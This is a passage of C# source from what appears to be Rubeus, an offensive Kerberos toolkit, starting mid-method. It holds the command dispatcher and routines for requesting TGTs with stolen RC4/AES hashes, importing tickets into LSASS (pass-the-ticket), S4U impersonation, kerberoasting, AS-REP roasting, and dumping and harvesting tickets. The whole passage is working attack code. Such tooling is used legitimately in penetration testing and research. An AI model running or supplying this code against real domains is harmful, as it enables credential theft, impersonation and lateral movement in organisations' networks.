Console.WriteLine("\r\n[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:\r\n\r\n{0}\r\n", outArgs);
}
return(kirbiBytes);
}
else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return(null);
}
public void Execute(Dictionary <string, string> arguments)
{
Console.WriteLine("\r\n[*] Action: Describe Ticket\r\n");
byte[] serviceKey = null;
byte[] asrepKey = null;
byte[] krbKey = null;
string serviceUser = "";
string serviceDomain = "";
if (arguments.ContainsKey("/servicekey"))
{
serviceKey = Helpers.StringToByteArray(arguments["/servicekey"]);
}
if (arguments.ContainsKey("/asrepkey"))
{
asrepKey = Helpers.StringToByteArray(arguments["/asrepkey"]);
}
if (arguments.ContainsKey("/krbkey"))
{
krbKey = Helpers.StringToByteArray(arguments["/krbkey"]);
}
// for generating service ticket hash when using AES256
if (arguments.ContainsKey("/serviceuser"))
{
serviceUser = arguments["/serviceuser"];
}
if (arguments.ContainsKey("/servicedomain"))
{
serviceDomain = arguments["/servicedomain"];
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey);
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
public static byte[] InnerTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool ptt, string domainController = "", Interop.LUID luid = new Interop.LUID(), bool describe = false, bool verbose = false)
{
if (verbose)
{
Console.WriteLine("[*] Action: Ask TGT\r\n");
Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);
if ((ulong)luid != 0)
{
Console.WriteLine("[*] Target LUID : {0}", (ulong)luid);
}
}
string dcIP = Networking.GetDCIP(domainController, false);
if (String.IsNullOrEmpty(dcIP))
{
throw new RubeusException("[X] Unable to get domain controller address");
}
if (verbose)
{
Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);
}
byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype);
byte[] response = Networking.SendBytes(dcIP, 88, reqBytes);
if (response == null)
{
throw new RubeusException("[X] No answer from domain controller");
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 11)
{
if (verbose)
{
Console.WriteLine("[+] TGT request successful!");
}
// parse the response to an AS-REP
AS_REP rep = new AS_REP(responseAsn);
// convert the key string to bytes
byte[] key = Helpers.StringToByteArray(keyString);
// decrypt the enc_part containing the session key/etc.
// TODO: error checking on the decryption "failing"...
byte[] outBytes;
if (etype == Interop.KERB_ETYPE.des_cbc_md5)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.rc4_hmac)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else
{
throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported");
}
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
if (verbose)
{
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
if (ptt || ((ulong)luid != 0))
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, luid);
}
if (describe)
{
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
return(kirbiBytes);
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
throw new KerberosErrorException("", error);
}
else
{
throw new RubeusException("[X] Unknown application tag: " + responseTag);
}
}
static void Main(string[] args)
{
Logo();
var arguments = new Dictionary <string, string>();
foreach (string argument in args)
{
int idx = argument.IndexOf(':');
if (idx > 0)
{
arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
}
else
{
arguments[argument] = "";
}
}
if (arguments.ContainsKey("asktgt"))
{
string user = "";
string domain = "";
string hash = "";
string dc = "";
bool ptt = false;
uint luid = 0;
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/rc4"))
{
hash = arguments["/rc4"];
encType = Interop.KERB_ETYPE.rc4_hmac;
}
if (arguments.ContainsKey("/aes256"))
{
hash = arguments["/aes256"];
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
}
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
if (arguments.ContainsKey("/createnetonly"))
{
// if we're starting a hidden process to apply the ticket to
if (!Helpers.IsHighIntegrity())
{
Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session");
return;
}
if (arguments.ContainsKey("/show"))
{
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], true);
}
else
{
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], false);
}
Console.WriteLine();
}
if (String.IsNullOrEmpty(user))
{
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
return;
}
if (String.IsNullOrEmpty(domain))
{
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
}
if (String.IsNullOrEmpty(hash))
{
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
return;
}
if (!((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)))
{
Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n");
return;
}
else
{
Ask.TGT(user, domain, hash, encType, ptt, dc, luid);
return;
}
}
if (arguments.ContainsKey("renew"))
{
bool ptt = false;
string dc = "";
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
if (arguments.ContainsKey("/autorenew"))
{
// if we want to auto-renew the TGT up until the renewal limit
Renew.TGTAutoRenew(kirbi, dc);
}
else
{
// otherwise a single renew operation
byte[] blah = Renew.TGT(kirbi, ptt, dc);
}
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
if (arguments.ContainsKey("/autorenew"))
{
// if we want to auto-renew the TGT up until the renewal limit
Renew.TGTAutoRenew(kirbi, dc);
}
else
{
// otherwise a single renew operation
byte[] blah = Renew.TGT(kirbi, ptt, dc);
}
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n");
return;
}
}
if (arguments.ContainsKey("s4u"))
{
string targetUser = "";
string targetSPN = "";
string altSname = "";
string user = "";
string domain = "";
string hash = "";
bool ptt = false;
string dc = "";
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/rc4"))
{
hash = arguments["/rc4"];
encType = Interop.KERB_ETYPE.rc4_hmac;
}
if (arguments.ContainsKey("/aes256"))
{
hash = arguments["/aes256"];
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
}
if (arguments.ContainsKey("/impersonateuser"))
{
targetUser = arguments["/impersonateuser"];
}
if (arguments.ContainsKey("/msdsspn"))
{
targetSPN = arguments["/msdsspn"];
}
if (arguments.ContainsKey("/altservice"))
{
altSname = arguments["/altservice"];
}
if (String.IsNullOrEmpty(targetUser))
{
Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
return;
}
if (String.IsNullOrEmpty(targetSPN))
{
Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n");
return;
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else if (arguments.ContainsKey("/user"))
{
// if the user is supplying a user and rc4/aes256 hash to first execute a TGT request
user = arguments["/user"];
if (String.IsNullOrEmpty(hash))
{
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
return;
}
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
return;
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for S4U!");
Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n");
return;
}
}
if (arguments.ContainsKey("ptt"))
{
uint luid = 0;
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
LSA.ImportTicket(kirbiBytes, luid);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
LSA.ImportTicket(kirbiBytes, luid);
}
else
{
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied!\r\n");
return;
}
}
if (arguments.ContainsKey("purge"))
{
uint luid = 0;
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
LSA.Purge(luid);
}
else if (arguments.ContainsKey("kerberoast"))
{
string spn = "";
string user = "";
string OU = "";
if (arguments.ContainsKey("/spn"))
{
spn = arguments["/spn"];
}
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/ou"))
{
OU = arguments["/ou"];
}
if (arguments.ContainsKey("/creduser"))
{
if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase))
{
Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n");
return;
}
string[] parts = arguments["/creduser"].Split('\\');
string domainName = parts[0];
string userName = parts[1];
if (!arguments.ContainsKey("/credpassword"))
{
Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n");
return;
}
string password = arguments["/credpassword"];
System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName);
Roast.Kerberoast(spn, user, OU, cred);
}
else
{
Roast.Kerberoast(spn, user, OU);
}
}
else if (arguments.ContainsKey("asreproast"))
{
string user = "";
string domain = "";
string dc = "";
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (String.IsNullOrEmpty(user))
{
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
return;
}
if (String.IsNullOrEmpty(domain))
{
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
}
if (String.IsNullOrEmpty(dc))
{
Roast.ASRepRoast(user, domain);
}
else
{
Roast.ASRepRoast(user, domain, dc);
}
}
else if (arguments.ContainsKey("dump"))
{
if (arguments.ContainsKey("/luid"))
{
string service = "";
if (arguments.ContainsKey("/service"))
{
service = arguments["/service"];
}
UInt32 luid = 0;
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
LSA.ListKerberosTicketData(luid, service);
}
else if (arguments.ContainsKey("/service"))
{
LSA.ListKerberosTicketData(0, arguments["/service"]);
}
else
{
LSA.ListKerberosTicketData();
}
}
else if (arguments.ContainsKey("monitor"))
{
string targetUser = "";
int interval = 60;
if (arguments.ContainsKey("/filteruser"))
{
targetUser = arguments["/filteruser"];
}
if (arguments.ContainsKey("/interval"))
{
interval = Int32.Parse(arguments["/interval"]);
}
Harvest.Monitor4624(interval, targetUser);
}
else if (arguments.ContainsKey("harvest"))
{
int intervalMinutes = 60;
if (arguments.ContainsKey("/interval"))
{
intervalMinutes = Int32.Parse(arguments["/interval"]);
}
Harvest.HarvestTGTs(intervalMinutes);
}
else if (arguments.ContainsKey("describe"))
{
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi /ticket file needs to be supplied!\r\n");
return;
}
}
else if (arguments.ContainsKey("createnetonly"))
{
if (arguments.ContainsKey("/program"))
{
if (arguments.ContainsKey("/show"))
{
LSA.CreateProcessNetOnly(arguments["/program"], true);
}
else
{
LSA.CreateProcessNetOnly(arguments["/program"]);
}
}
else
{
Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n");
}
}
else
{
Usage();
}
}
